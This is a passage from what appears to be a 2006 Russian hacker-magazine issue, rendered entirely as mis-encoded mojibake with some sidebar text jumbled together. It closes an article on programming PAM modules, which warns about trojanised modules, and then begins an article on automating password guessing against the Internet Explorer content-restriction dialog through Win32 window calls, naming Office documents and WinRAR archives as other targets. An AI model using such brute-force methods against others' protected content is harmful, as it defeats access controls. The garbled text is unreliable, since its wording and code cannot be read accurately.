ïðîãðàììå âûçûâàåòñÿ ôóíêöèÿ pam_authenticate(). Âî âòîðîì åå àðãóìåíòå óêàçûâàþòñÿ ðàçëè÷íûå ôëàãè. Çíà÷åíèå 0 îçíà÷àåò ñòàíäàðòíûå óñòàíîâêè. Çàìå÷ó, ÷òî èìåíà îñíîâíûõ PAM-ôóíêöèé â ïðèëîæåíèÿõ íåìíîãî îòëè÷àþòñÿ îò PAM-ôóíêöèé, èñïîëüçóþùèõñÿ â ìîäóëÿõ (îòñóòñòâóåò âñòàâêà _sm_). Íàïðèìåð, â ìîäóëÿõ èñïîëüçóåòñÿ ôóíêöèÿ pam_sm_chauthtok(), à â ïðèëîæåíèÿõ — pam_chauthtok(). ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈÅ PAM-ÌÎÄÓËÅÉ Ïðîãðàììèðîâàòü ñâîè ìîäóëè â öåëîì íåñëîæíî. Âñå çàâèñèò îò òîãî, êàêîé àëãîðèòì òû áóäåøü â íåì ðåàëèçîâûâàòü, à èìåííî: áóäåò ëè òâîé ìîäóëü îáðàùàòüñÿ ê îáîðóäîâàíèþ, íàïðèìåð, ê USB-êëþ÷ó, èëè èñïîëüçîâàòü êðèïòîãðàôè÷åñêèé ïðîòîêîë. Íà äèñêå ê æóðíàëó òû ìîæåøü íàéòè èñõîäíèê àóòåíòèôèêàöèîííîãî ìîäóëÿ pam_test. Îí õîðîøî ïðîêîììåíòèðîâàí, ïîýòîìó çäåñü ÿ òîëüêî äàì îáùèå ñâåäåíèÿ. Ìîäóëü ïîëó÷àåò îò ïîëüçîâàòåëÿ ïàðîëü, ñðàâíèâàåò åãî ñî ñòàòè÷åñêèì ïàðîëåì è âûäàåò ðåçóëüòàò. Òàê êàê ìîäóëü ÿâëÿåòñÿ òèïà AUTH, òî îí îáÿçàòåëüíî äîëæåí ðåàëèçîâûâàòü äâå ôóíêöèè: pam_sm_authenticate() è pam_sm_setcred(). Äåñêðèïòîð pamh ïîçâîëÿåò ñâÿçûâàòüñÿ ìîäóëþ ñ ïðèëîæåíèåì è ïîëó÷àòü îò íåãî äàííûå ñ ïîìîùüþ ñïåöèàëüíûõ PAM-ôóíêöèé. Èìÿ ïîëüçîâàòåëÿ îïðåäåëÿåòñÿ ñ ïîìîùüþ PAM-ôóíêöèè pam_get_user(), à ïàðîëü ïðèíèìàåòñÿ ñ ïîìîùüþ ôóíêöèè pam_get_item().

struct pam_message { int msg_style; const char *msg; };

Äîïóñòèìûå îïöèè äëÿ msg_style: PAM_PROMPT_ECHO_OFF — ïîëó÷èòü ñòðîêó áåç ïîâòîðåíèÿ ëþáîãî òåêñòà; PAM_PROMPT_ECHO_ON — ïîëó÷èòü ñòðîêó ïîêà òåêñò îòîáðàæàåòñÿ ýõîì; PAM_ERROR_MSG — îòîáðàæàòü îøèáêó; PAM_TEXT_INFO — îòîáðàæàòü òåêñò. Ñòðóêòóðà îòâåòà îò ïðèëîæåíèÿ ê ìîäóëþ èìååò ñëåäóþùèé âèä: struct pam_response { char *resp; int resp_retcode; };

Êîìïèëÿöèÿ PAM-ìîäóëÿ îñóùåñòâëÿåòñÿ òî÷íî òàê æå, êàê è êîìïèëÿöèÿ îáû÷íîé äèíàìè÷åñêîé áèáëèîòåêè: % gcc -ñ -fPIC pam_test.c % gcc -shared -fPIC -o pam_test.so pam_test.o

×òîáû ïðîâåðèòü ðàáîòó ìîäóëÿ, äîáàâü â êîíôèãóðàöèîííûé ôàéë login (/etc/pam.d/login) ñëåäóþùóþ ñòðîêó: auth required /lib/security/pam_test.so PAM ÄËß ÕÀÊÅÐÀ È íàïîñëåäîê ñêàæó î áåçîïàñíîñòè PAM. Åñëè õàêåð ñóìååò ïîäìåíèòü îäèí èç ìîäóëåé PAM íà òðîÿíñêóþ âåðñèþ, òî ñêîìïðîìåòèðîâàííûìè îêàæóòñÿ âñå ïðîãðàììû, êîòîðûå èñïîëüçóþò ýòîò ìîäóëü. Íàïðèìåð, òàêîé ìîäóëü, êàê pam_unix.so èëè pam_pwdb.so, èñïîëüçóþòñÿ ïðàêòè÷åñêè âñåìè ïðîãðàììàìè àóòåíòèôèêàöèè (login, passwd, sshd, su è ò. ä.). Ïîýòîìó åñëè òû àäìèí è çàìåòèë, ÷òî îäèí èç ìîäóëåé PAM â òâîåé ñèñòåìå áûë èçìåíåí, òî çíàé — ó òåáÿ ñåðüåçíûå íåïðèÿòíîñòè. BINARY YOUR’S z

èñõîäíûé êîä ïðîñòåéøåãî PAM-ìîäóëÿ

ÍÀ ÄÈÑÊÅ Ê ÆÓÐÍÀËÓ ÒÛ ÌÎÆÅØÜ ÍÀÉÒÈ ÈÑÕÎÄÍÈÊ ÀÓÒÅÍÒÈÔÈÊÀÖÈÎÍÍÎÃÎ ÌÎÄÓËß — PAM_TEST. ÎÍ ÕÎÐÎØÎ ÏÐÎÊÎÌÌÅÍÒÈÐÎÂÀÍ, ÏÎÝÒÎÌÓ ÇÄÅÑÜ ß ÒÎËÜÊÎ ÄÀÌ ÎÁÙÈÅ ÑÂÅÄÅÍÈß.

Ìîäóëü è ïðèëîæåíèå, êîòîðîå åãî âûçûâàåò, ìîãóò îáìåíèâàòüñÿ ñîîáùåíèÿìè. Ñòðóêòóðà ñîîáùåíèÿ, ïåðåäàâàåìîãî îò ìîäóëÿ ê ïðèëîæåíèþ, îïðåäåëåíà â security/pam_appl.h êàê:

XÀÊÅÐ 02 /86/ 06

115


ÊÎÄÈÍÃ ÊÎÄÈÍÃ ///// ISSUE DELPHI

TEXT ÀËÅÊÑÀÍÄÐ ÃÀÉØÀ / PHYSICS2005@MAIL.RU /

ÄÐÅÑÑÈÐÎÂÀÍÍÛÅ ÎÊÍÀ ÐÀÇÁÈÐÀÅÌÑß Ñ ÏÐÈÍÖÈÏÀÌÈ ÂÇÀÈÌÎÄÅÉÑÒÂÈß Ñ ×ÓÆÈÌÈ ÎÊÍÀÌÈ È ÏÈØÅÌ ÒÓËÇÓ ÄËß ÏÎÄÁÎÐÀ ÏÀÐÎËÅÉ ÍÀ ÄÎÑÒÓÏ Ê ÊÎÍÒÅÍÒÓ Â IE

ÝÒÀ ÑÒÀÒÜß ÏÎÑÂßÙÀÅÒÑß ÂÑÅÌ ÒÅÌ, ÊÒÎ ÂÈÄÅË ÍÀ ÝÊÐÀÍÅ ÑÒÐÀØÍÎÅ «×ÅÐÍÎÅ ÎÊÍλ, ÎÁÐÛÂÀÞÙÅÅ ÂÑÅ ÍÀÈÂÍÛÅ ÄÅÒÑÊÈÅ ÍÀÄÅÆÄÛ È ÌÅ×ÒÛ. ÑÂÎÈÌ ÍÅÂÛÍÎÑÈÌÛÌ «ENTER PASSWORD» ÎÍÎ ÓÁÈÂÀËÎ Â ÍÀÑ ÐÀÄÎÑÒÜ È ÄÓØÅÂÍÛÉ ÏÎÊÎÉ. ÌÍÎÃÈÅ ÍÀØÈ ÒÎÂÀÐÈÙÈ ÏÛÒÀËÈÑÜ ÈÇÁÀÂÈÒÜÑß ÎÒ ÍÅÃÎ, ÄÎËÃÈÌÈ ÇÈÌÍÈÌÈ ÂÅ×ÅÐÀÌÈ ÍÀÁÈÐÀß ÂÑÅ ÏÐÈØÅÄØÈÅ Â ÃÎËÎÂÓ ÊÎÌÁÈÍÀÖÈÈ, ÍÎ ËÈØÜ ÅÄÈÍÈÖÛ ÝÒÈÕ ÂÅËÈÊÈÕ ËÞÄÅÉ ÄÎÆÈËÈ ÄÎ ÍÀØÈÕ ÄÍÅÉ, ÍÅÐÂÍÎ ÂÛÑÒÓÊÈÂÀß ×Å×ÅÒÊÓ ÏÀËÜÖÀÌÈ ÓÆÅ ÍÅ ÒÎËÜÊÎ ÍÀ ÊËÀÂÈÀÒÓÐÅ, ÍÎ È ÍÀ ËÀÂÎ×ÊÀÕ,  ÏÎÄÂÀËÀÕ, ÍÀ ÂÎÊÇÀËÅ. ÍÅ ÇÍÀËÈ ÎÍÈ, ÁÅÄÍÛÅ, Î ÒÎÌ, ×ÒÎ ÏÐÎÖÅÑÑ ÏÎÄÁÎÐÀ ÏÀÐÎËß ÌÎÆÍÎ ÀÂÒÎÌÀÒÈÇÈÐÎÂÀÒÜ, ÏÐÎÃÐÀÌÌÍÎ ÎÁÐÀÙÀßÑÜ Ê ÎÊÍÀÌ È ÈÕ ÝËÅÌÅÍÒÀÌ. ÝÒÎ ÑÎÂÑÅÌ ËÅÃÊÎ, ÍÀÄÎ ËÈØÜ ÎÑÂÎÈÒÜ ÍÅÕÈÒÐÛÅ ÏÐÈÍÖÈÏÛ ÂÇÀÈÌÎÄÅÉÑÒÂÈß Ñ ÎÊÍÀÌÈ

ÀËÃÎÐÈÒÌ Òàê óæ âûøëî, ÷òî âñå ñàìîå ëó÷øåå â íàøåé ñåðîé áóäíè÷íîé æèçíè èëè íåçàêîííî, èëè âðåäíî, èëè çàêðûòî ïàðîëÿìè. Ìû ñ òîáîé, êàê ëþäè, èìåþùèå îòäàëåííîå îòíîøåíèå ê ñòðàøíîìó ñëîâó «âçëîì», áóäåì áîðîòüñÿ èìåííî ñ ïàðîëüíûì çëîì. Èòàê, íà ðàññìîòðåíèå îáùåñòâåííîñòè (òî åñòü íàñ ñ òîáîé) ïðåäëàãàåòñÿ ñëåäóþùèé âàðèàíò ïîäáîðà ïàðîëåé. Ñàäèìñÿ çà êîìï, çàõîäèì êóäà íóæíî, ÷òîáû ïîÿâèëîñü îêíî Enter password. Ùåëêàåì ëåâîé ðóêîé è ââîäèì ëþáîé ïåðâûé ïîïàâøèéñÿ ïàðîëü. Ïîïàë? Íåò. Ùåëêàåì ïðàâîé ðóêîé è çàêðûâàåì âñå ðóãàòåëüíûå îêíà. Ñíîâà ùåëêàåì ëåâîé ðóêîé è ââîäèì ñëåäóþùèé âîçìîæíûé ïàðîëü… ×òî-òî ìåòîä íå î÷åíü, äà? Ìåäëåííûé êàêîéòî. Ãëÿäèøü, îãëÿíóòüñÿ íå óñïåëà, ëåòî êðàñíîå ïðîïåëà, óæ çèìà ïðèõîäèò â äîì (òîëüêî çèìà ýòà 2050 ãîäà, à ïàðîëü âñå íå íàéäåí). Íî ìîæíî æå ýòîò ìåòîä àâòîìàòèçèðîâàòü, è äåëàòü âñå òî æå ñàìîå ïðîãðàììíî (óñêîðåíèå áóäåò, êàê â Ôîðñàæå, ÷åñòíîå ñëîâî). Óñîâåðøåíñòâîâàííûé àëãîðèòì ïîäáîðà ïàðîëÿ íàõîäèì ñëåäóþùèì îáðàçîì:

116

0) îòûñêèâàåì äèàëîãîâîå îêíî, â êîòîðîì ââîäèòñÿ ïàðîëü; 1) íàõîäèì â ýòîì îêíå òåêñòîâîå ïîëå, â êîòîðîå íóæíî ââåñòè òåêñò ïàðîëÿ; 2) ðåøàåì, êàêîé ìû ñåé÷àñ áóäåì ïðîáîâàòü ïàðîëü; 3) çàïîëíÿåì ïîëå ïàðîëÿ âûáðàííûì çíà÷åíèåì; 4) ýìóëèðóåì íàæàòèå êíîïêè ÎÊ; 5) ïðîâåðÿåì, ïîÿâèëèñü ëè îêíà ñ ðóãàòåëüñòâàìè â íàø àäðåñ (åñëè íåò, òî ðàäóåìñÿ, òàê êàê íàøëè ïàðîëü); 6) ðóãàåìñÿ â îòâåò íà êîìïüþòåð; 7) çàêðûâàåì âñå ðóãàòåëüíûå îêíà è ïðèâîäèì ïðîãðàììó â èñõîäíîå ïîëîæåíèå, ÷òîáû áûëî âèäíî îêîøå÷êî äëÿ ââîäà ïàðîëÿ; 8) âû÷åðêèâàåì ïàðîëü èç ñïèñêà; 9) ïîâòîðÿåì 2—8 ïóíêòû ;). Ñåé÷àñ ìû áóäåì ó÷èòüñÿ, êàê ðàáîòàòü ñ ÷óæèìè îêíàìè. Îòìå÷ó, ÷òî ïðè òàêîì áûñòðîì ìåòîäå ïîäáîðà îòêðûâàþòñÿ íåïëîõèå ïåðñïåêòèâû. Ïðåäñòàâü íà ìãíîâåíüå, êàê çäîðîâî áûëî áû çàéòè â ñèñòåìó web-pornushka transfer è,

íå çàìîðà÷èâàÿ îñîáî ñåáå ãîëîâó, çàïóñòèòü íà íî÷ü ñóïåð-ìåãà-ïîäáèðàëêó ïàðîëåé, êîòîðàÿ ðàíî óòðîì íà çàðå îãëàñèò òâîé äîì ðàäîñòíûì âîåì, âîçâåùàÿ î íà÷àëå íîâîé ýðû. Òàê íåò, è çäåñü çàñàäà: äîäóìàëèñü çëûå äÿäüêè îãðàíè÷èòü êîëè÷åñòâî ïîïûòîê ââîäà ïàðîëåé îïðåäåëåííûì ÷èñëîì. Ñðàáîòàåò òâîÿ ñóïåð-ìåãà-ïîäáèðàëêà òðè ðàçà, è âñå — êàþê. Áîëüøå ïîäáèðàòü íåëüçÿ, ïîòîìó ÷òî åñëè òû çà òðè ðàçà íå ââåë ïðàâèëüíûé ïàðîëü, òî èëè íå ìåñòî òåáå òàì, êóäà òû ëåçåøü, èëè òû — íåñ÷àñòíûé èíâàëèä ñ îãðàíè÷åííûìè äâèãàòåëüíûìè âîçìîæíîñòÿìè. Îñòàåòñÿ òîëüêî ëÿçãàòü çóáàìè îò áåññèëüíîé çëîáû. Õîòÿ, ïîñòîé-êà, åñòü âåäü ìíîãî êðàñèâûõ è íóæíûõ âåùåé, êîòîðûå òîæå çàêðûòû, íî ïàðîëü ìîæíî ââîäèòü íåìûñëèìîå ÷èñëî ðàç! Õå-õå, âîçìîæíî, ñåãîäíÿ âñå-òàêè óäàñòñÿ ÷òî-íèáóäü âçëîìàòü. Íà êàíäèäàòóðû äëÿ âçëîìà ïîäõîäÿò: çàïàðîëåííûå äîêóìåíòû Microsoft Office è àðõèâû WinRAR, èñõîäíûå òåêñòû ðàçëè÷íûõ ñðåä ðàçðàáîòêè, îãðàíè÷åíèÿ ñîäåðæèìîãî Internet Explorer è ëþáûå ïàðîëüíûå çàùèòû. Ïîñêîëüêó ìû áóäåì íå ïðîñòî òûêàòüñÿ-ìû-

XÀÊÅÐ 02 /86/ 06


, ×ÒÎ, ÊÀÊ ÓÏÐÀÂËßÅÌÎÉ.. ÝÒÎ ÇÍÀ×ÈÒ Î-Ó ÁÛÒÈÉÍÎ Î Ñ ß Ñ Ò ßÅ ÂË ß À ÅÌ Ò Ñ ÈÑ Ñ ß Ñ ÂÑ ÎÅ ÑÊÈ ÇÍÀ×ÈÌÎ ÌÀËÜÑ ÍÈÁÓÄÜ ÌÀËÎ-Ì ÒÑß ÊÀÊÎÅ-Í Î ÑËÓ×ÀÅÒ ÒÎËÜÊÎ Ó×Ó ÑÎÎÁÙÅÍÈÉ ÑÎÁÛÒÈÅ, ÎÑ ÃÅÍÅÐÈÐÓÅÒ Ê êàòüñÿ, à ïèñàòü ñóïåð-ïóïåð-ïðîãðàììó, òî îïðåäåëèìñÿ ñ ìåñòîì, êóäà èìåííî îíà áóäåò ïîäáèðàòü ïàðîëü. Ïóñòü ýòî áóäåò âñåìè ðóãàåìûé, íî âñåìè èñïîëüçóåìûé áðàóçåð IE. Åñòü òàì òàêàÿ ôóíêöèÿ — îãðàíè÷åíèÿ êîíòåíòà. ×òîáû íå ëàçèëè, ãäå íå íàäî. Âîò åå è áóäåì îòêëþ÷àòü (ïåðåïèñàòü ïðîãó ïîä ñâîè íóæäû, òû ñìîæåøü ëåãêî è íåïðèíóæäåííî, åñëè ïðî÷òåøü è ïåðåïèøåøü 33 ðàçà ïîñëåäóþùåå èçëîæåíèå). ÁËÈÆÅ Ê ÄÅËÓ Äëÿ íà÷àëà îïðåäåëèìñÿ, êàê íàäî âêëþ÷àòü è îòêëþ÷àòü ïàðîëüíóþ çàùèòó, ïî ìíåíèþ MS.  ìåíþ ÈÅ (ÿ áåðó âåðñèþ 6.00) âûáèðàåì «Ñåðâèñ»->»Ñâîéñòâà îáîçðåâàòåëÿ», è â îòêðûâøåìñÿ îêíå ïåðåõîäèì íà çàêëàäêó «Ñîäåðæàíèå». Òàì åñòü êðàñèâàÿ êíîïêà «Âêëþ÷èòü», êîòîðàÿ âñþ ãàäîñòü è äåëàåò. Âêëþ÷àåì (åñëè åùå êîãäà-íèáóäü çàõî÷åøü âîñïîëüçîâàòüñÿ ñâîèì áðàóçåðîì, òî ââîäèìûé ïàðîëü ëó÷øå çàïèñàòü íà áóìàæêå, à òî âäðóã íàøà òóëçà íå ñðàáîòàåò?). Åñëè âñå ñäåëàíî ïðàâèëüíî, òî íà òîé æå çàêëàäêå, ãäå áûëà êíîïêà «Âêëþ÷èòü», ïîÿâèòñÿ êíîïêà «Îòêëþ÷èòü» (óäèâèòåëüíûé ïîâîðîò ñîáûòèé!). Êîãäà åå íàæìåøü, ïîÿâèòñÿ îêîøêî «Òðåáóåòñÿ ïàðîëü-äîïóñê», ñ êîòîðûì ìû è áóäåì ðàáîòàòü. «Íî êàê? — âåðîÿòíî çàâîïèò íåðàäèâûé ÷èòàòåëü èç äåðåâíè Ùóêèíî. — Ìû æå íå óìååì ñîâñåì ïðîãðàììèðîâàòü!». È, ïðàâäà, ïîðà èñïðàâëÿòüñÿ è ïåðåõîäèòü áëèæå ê äåëó. Áîëüøèíñòâî íîðìàëüíûõ Win32-ïðèëîæåíèé èìååò õîòÿ áû îäíî îêíî. Êàæäîå îêíî èìååò òàê íàçûâàåìûé õýíäë (handle — äåñêðèïòîð, îïèñàòåëü, êîòîðûé ïðåäñòàâëÿåò ñîáîé 4-áàéòíîå ÷èñëî), çíàÿ êîòîðûé, ñ îêíîì ìîæíî òâîðèòü âñå, ÷òî äóøå óãîäíî. Íàïðèìåð, ïåðåìåùàòü åãî, çàêðûâàòü, èçìåíÿòü èëè ñ÷èòûâàòü çàãîëîâîê, ðàáîòàòü ñ åãî äî÷åðíèìè îêíàìè è ò.ä. Îñîáåííî èíòåðåñåí ïîñëåäíèé ïóíêòèê, è, åñëè òû åùå íå çíàåøü, ÷òî òàêîå Êíîïêà, ïðèãîòîâüñÿ ê ëåãêîìó øîêó. Âñå êíîïêè, ïîëÿ äëÿ ââîäà òåêñòà, âûïàäàþùèå ñïèñêè è ìåíþ ÿâëÿþòñÿ, ñ òî÷êè çðåíèÿ îñè, îáû÷íûìè îêíàìè, òîëüêî äî÷åðíèìè äëÿ íîðìàëüíîãî îêíà, êîòîðîìó îíè ïðèíàäëåæàò. Çíà÷èò, çíàÿ õýíäë êíîïêè, ìîæíî åå ïðîãðàììíî íàæàòü, à, óçíàâ õýíäë ïîëÿ äëÿ ââîäà òåêñòà, ìîæíî çàïîëíèòü åãî ñâîèì òåêñòîì. Óëàâëèâàåøü ñóòü? Ïîìèìî ïðî÷åãî, âñÿ ñèñòåìà ÿâëÿåòñÿ ñîáûòèéíî-óïðàâëÿåìîé. Ýòî çíà÷èò, ÷òî, êàê òîëüêî ñëó÷àåòñÿ êàêîå-íèáóäü ìàëî-ìàëüñêè çíà÷èìîå ñîáûòèå, ÎÑ ãåíåðèðóåò êó÷ó ñîîáùåíèé (î ñîîáùåíèÿõ ÷èòàé íà ñîîòâåòñòâóþùåé âðåçêå) è ïîñûëàåò èõ íóæíûì îêíàì. Íàïðèìåð, ùåëêíóë þçåð ëåâîé ìûøüþ íàä îêíîì Word’à. Âèíäà çàñåêàåò êëèê, ñìîòðèò, íàä êà��èì îêíîì ýòî ïðîèçîøëî, è ãåíåðèðóåò ñîîáùåíèÿ WM_LBUTTONDOWN è WM_LBUTTONUP, êîòîðûå ïîñûëàåò ãëàâíîìó îêíó ïîïóëÿðíîãî òåêñòîâîãî ïðîöåññîðà. À ÷òî æå Word áóäåò äåëàòü ñ ýòèìè ñîîáùåíèÿìè, êàê èìåííî îí èõ ïîëó÷àåò? Ëåãêî. ñâîéñòâà IE, ãäå îñóùåñòâëÿåòñÿ óñòàíîâêà ïàðîëÿ íà äîñòóï ê êîíòåíòó

ÑÎÎÁÙÅÍÈß WINDOWS Ñîîáùåíèå windows — ýòî ñòðóêòóðà èëè çàïèñü, êîòîðàÿ ñîäåðæèò 6 ïîëåé: õýíäë öåëåâîãî îêíà, èäåíòèôèêàòîð ñîîáùåíèÿ (òî åñòü åãî íîìåð), äâà ïàðàìåòðà — wParam (2 áàéòà) è lParam (4 áàéòà), âðåìÿ âîçíèêíîâåíèÿ ñîîáùåíèÿ è êîîðäèíàòû êóðñîðà â ýòîò ìîìåíò. hwind:HWND; mess:UINT; wPar:WPARAM; lPar:LPARAM; time:DWORD; pt:POINT;

 îêîííóþ ôóíêöèþ ïåðåäàþòñÿ òîëüêî ïåðâûå 4 ïîëÿ. ÎÏÐÅÄÅËÅÍÈÅ ÎÊÎÍÍÎÉ ÏÐÎÖÅÄÓÐÛ UINT WndProc(hwind:HWND; mess:UINT; wPar:WPARAM; lPar:LPARAM); stdcall;

Ìåíüøèé ïàðàìåòð îáû÷íî èñïîëüçóåòñÿ äëÿ ïåðåäà÷è êàêèõ-ëèáî ñìûñëîâûõ ÷èñëåííûõ çíà÷åíèé. Íàïðèìåð, ïîëüçîâàòåëü íàæàë íà êíîïêó ñ íîìåðîì òàêèì-òî, è îí ïåðåäàëñÿ ÷åðåç wParam. ×åòûðåõáàéòíûé ïàðàìåòð lParam îáû÷íî ñîäåðæèò êàêîé-ëèáî àäðåñ, èìåþùèé ñìûñë äëÿ äàííîãî ñîîáùåíèÿ. Íàïðèìåð, àäðåñ ñòðîêè, êîòîðàÿ ïåðåäàåòñÿ îêíó. Ê êàæäîìó îêíó «ïðèêðåïëåíà» ñâîÿ ïðîöåäóðà îáðàáîòêè ñîîáùåíèé (îêîííàÿ ïðîöåäóðà èëè ôóíêöèÿ), êîòîðóþ îáû÷íî íàçûâàþò WndProc (WindowProc), õîòÿ ýòî æåñòêî è íå ôèêñèðîâàíî (òû ìîæåøü ñäåëàòü ïðîãó ñ îêîííîé ïðîöåäóðîé GetInZhopa). Ôóíêöèþ ýòó âûçûâàòü íå íàäî, òàê êàê îíà èìååò ñïåöèàëüíûé ìîäèôèêàòîð CALLBACK, à çíà÷èò, âûçûâàåòñÿ ñàìîé ÎÑ. Àðãóìåíòàìè ôóíêöèè ÿâëÿþòñÿ êàê ðàç ñàìî ñîîáùåíèå, åãî ïàðàìåòðû è õýíäë öåëåâîãî îêíà. Âíóòðè ó WindowProc äîëæåí áûòü îïåðàòîð-ïåðåêëþ÷àòåëü (switch èëè case), êîòîðûé çàïóñêàåò òó èëè èíóþ ÷àñòü êîäà, â çàâèñèìîñòè îò ïðèøåäøåãî ñîîáùåíèÿ. Ïîëó÷àåòñÿ, ÷òî ïðîãðàììà ðåàãèðóåò íà ñîáûòèÿ, î êîòîðûõ åé ñîîáùàåò âèíäà. Âïðî÷åì, íàì ýòî âñå çíàòü è íå íàäî. Íàñ èíòåðåñóåò òîëüêî òî, ÷òî åñëè ìû ñàìè ïîøëåì îêíó Word’à ñîîáùåíèå WM_LBUTTONDOWN, òî îí áóäåò äóìàòü, ÷òî ýòî ïîëüçîâàòåëü íàæàë ëåâóþ êíîïêó ìûøè. Òî åñòü ìû âðîäå êàê ýìóëèðóåì äåéñòâèÿ ïîëüçîâàòåëÿ. Çäîðîâî, ïðàâäà? Îäíàêî, äëÿ òîãî ÷òîáû ó òåáÿ ñîñòàâèëàñü ïîëíàÿ êàðòèíà ïðîèñõîäÿùåãî, ìíå íàäî ñêàçàòü åùå ïàðó ñëîâ îá àðõèòåêòóðå windows.  îñü âñòðîåí íàáîð áàçîâûõ ôóíêöèé, ñîñòàâëÿþùèõ API (ïðîãðàììíûé èíòåðôåéñ) ÎÑ. Ýòè ôóíêöèè íàõîäÿòñÿ â ñàìûõ ãëàâíûõ ôàéëàõ ñèñòåìû: kernel32.dll, user32.dll, gdi32.dll è äðóãèõ äèíàìè÷åñêèõ áèáëèîòåêàõ. Ìû, êîäåðû, ìîæåì âûçûâàòü ëþáóþ èç ýòèõ API-ôóíêöèé â ñâîèõ Win32-ïðîãðàììàõ. Íàì äëÿ ðàáîòû ïîíàäîáèòñÿ ñîâñåì ìàëî API-ôóíêöèé: äëÿ ïîèñêà îêîí, ïîñûëêè ñîîáùåíèé è ðàáîòû ñ ïîòîêàìè. Ðàññìàòðèâàòü èõ áóäåì ïî ìåðå íàäîáíîñòè. ÐÅÀËÈÇÀÖÈß À òåïåðü ïî ïóíêòèêàì, ðàñïèñàííûì ðàíåå (ñ 0 ïî 9), ìû ðåàëèçóåì íàø çàìå÷àòåëüíûé àëãîðèòì. Ïóíêò ¹0. Íàõîäèì îêíî ñ ïîëåì ââîäà ïàðîëÿ. Îáû÷íî ïîèñê îêíà îñóùåñòâëÿåòñÿ ôóíêöèåé FindWindow ïî åãî çàãîëîâêó (ìîæíî èñ-

XÀÊÅÐ 02 /86/ 06

117


ÊÎÄÈÍÃ ///// ISSUE

ÏÎÈÑÊ ÎÊÎÍ

Ïðîñòîé ïîèñê îêíà ïî åãî çàãî äåëàþò ôóíêöèåé FindWindow. ëîâêó îáû÷íî

function FindWindow(lpClassName: LPCTS TR;

lpWindowName: LPCTSTR):HWND;

Ïåðâûé ïàðàìåòð — óêàçàòåëü íà ñòðîêó ñ èìåíåì êëàññà îêíà. Îáû÷íî çäåñü ñòàâ èì êëàññà íàì îáû÷íî íåèçâåñòíî. À nil, òàê êàê èìÿ âîò âòîðîé ïàðàìåòð — óêàçàòåëü íà ñòðîêó ñ çàãî ïóñòûì îñòàâëÿòü íåëüçÿ ;). Îêíà ëîâêîì îêíà — óðîâíÿ, òî åñòü îáû÷íûå îêí (âêëèùóòñÿ âåðõíåãî þ÷àÿ äèàëîãîâûå è âñÿêèå òàì ïëàâàþùèå,àïàí åëè è ò.ä.), íî íå ýëåìåíòû óïðàâëåíèÿ. Ðàñøèðåííàÿ âåðñèÿ FindWindow Ex ïîçâîëÿåò èñêàòü îêíà ïî èçâåñòíîìó ðîäèòåëüñê ïåðâîìó äî÷åðíåìó, ïîñëå êîòîðî îìó îêíó è ãî íàäî èñêàòü: function FindWindowEx(hwndParent: HWND; hwndChildAfter: HWND; lpszC lass: LPCTSTR; lpszWindow: LPCTSTR): HWND ;

êàòü åùå è ïî êëàññó îêíà, íî äëÿ ýòîãî íàäî çíàòü åãî èìÿ). Ñèíòàêñèñ ôóíêöèè ñìîòðè íà âðåçêå. ×àñòî èñïîëüçóåòñÿ è ðàñøèðåííàÿ âåðñèÿ FindWindowEx, îíà îïèñàíà òàì æå. Ïîñëåäíÿÿ ïîçâîëÿåò ïðîèçâîäèòü ïîèñê îêîí åùå è ÷åðåç èõ ðîäèòåëåé èëè äåòåé. title:=’Òðåáóåòñÿ ïàðîëü-äîïóñê’; hIEPassWindow:=FindWindow(nil,PChar(title));

Äàëåå ó íàñ èäåò ïóíêò ¹1. Òåêñòîâîå ïîëå ìîæíî áûëî èñêàòü ôóíêöèåé FindWindowEx, âûáèðàÿ èç âñåõ äåòåé äèàëîãîâîãî îêíà hIEPassWindow òîëüêî òî, êîòîðîå èìååò èìÿ êëàññà Edit (çàìåòèì, ÷òî â íàøåì îêîøêå ïîëå äëÿ ðåäàêòèðîâàíèÿ òåêñòà âñåãî îäíî, çíà÷èò, ëþáîé íàéäåííûé ýäèò áóäåò òåì, â êîòîðûé ââîäèòñÿ ïàðîëü). Îäíàêî, ÿ äóìàþ, áóäåò ïîëåçíî óêàçàòü åùå îäèí ìåòîä ïåðåáîðà âñåõ äåòåé çàäàííîãî îêíà è âûçîâà äëÿ êàæäîãî íàéäåííîãî ÷àéëäà òîé ôóíêöèè, êîòîðóþ ìû çàõîòèì (âûçûâàåìîé ôóíêöèè ïåðåäàåòñÿ õýíäë íàéäåííîãî îêíà ÷àéëäà è 4-áàéòíûé ïàðàìåòð lParam).

Ïîëíûé èñõîäíûé êîä, îïèñàííîé â ñòàòüå ïðîãðàììû, òû ìîæåøü îáíàðóæèòü íà äèñêå.

 ïðèâåäåííîé ôóíêöèè, â îáùåì-òî, íè÷åãî ñëîæíîãî: âûäåëèëè íåìíîãî ïàìÿòè ïîä ïåðåìåííóþ ñòðîêó, ïîòîì âûçâàëè API-ôóíêöèþ GetClassName, êîòîðàÿ ïî õýíäëó îêíà âîçâðàùàåò èìÿ åãî êëàññà â òåêñòîâîé ôîðìå. Åñëè ýòî èìÿ ñîâïàäàåò ñ ìèñòè÷åñêèì «Edit», òî ìû âåðíåì FALSE (à çíà÷èò, ïåðåáîð äî÷åðíèõ îêîí ïðåêðàòèòñÿ, ïîòîìó ÷òî â îñíîâíîé ïðîãðàììå âîçâðàò ýòîé ôóíêöèè äàåò óñëîâèå âûõîäà èç öèêëà while-do). Õýíäë òåêñòîâîãî ïîëÿ, êóäà áóäåì ââîäèòü ïàðîëü, ìû íàøëè è ñîõðàíèëè â hPassEdit. Òåïåðü åñòü äâà âàðèàíòà ðàçâèòèÿ ñîáûòèé: ïîëíûé ïåðåáîð âñåõ âîçìîæíûõ êîìáèíàöèé (ýòî î÷åíü äîëãî äàæå ñ òàêèì óñêîðåííûì àâòîìàòèçàöèåé ìåòîäîì, êàê íàø) è àòàêà ñ ïîìîùüþ ñëîâàðÿ (ýòî óæå ðåàëüíåå). Ïðàâäà, åñëè ïåðâûé âàðèàíò íå òðåáóåò íè÷åãî äîïîëíèòåëüíîãî, òî äëÿ âòîðîãî íóæåí áóäåò ñëîâàðèê — òåêñòîâûé ôàéë, â êîòîðîì áóäóò âûïèñàíû ðàçëè÷íûå ÷àñòî óïîòðåáëÿåìûå ñëîâà-ïàðîëè. Âïðî÷åì, íà äèñêàõ æóðíàëà òàêèå ôàéëû èíîãäà âñòðå÷àþòñÿ, ïîýòîìó ïîñòîÿííûì ÷èòàòåëÿì äàæå èñêàòü â èíåòå íè÷åãî íå ïðèäåòñÿ. Ñïðîñèì ó ïîëüçîâàòåëÿ, õî÷åò ëè îí áðóòôîðñ îò áàëäû èëè àòàêó ïî 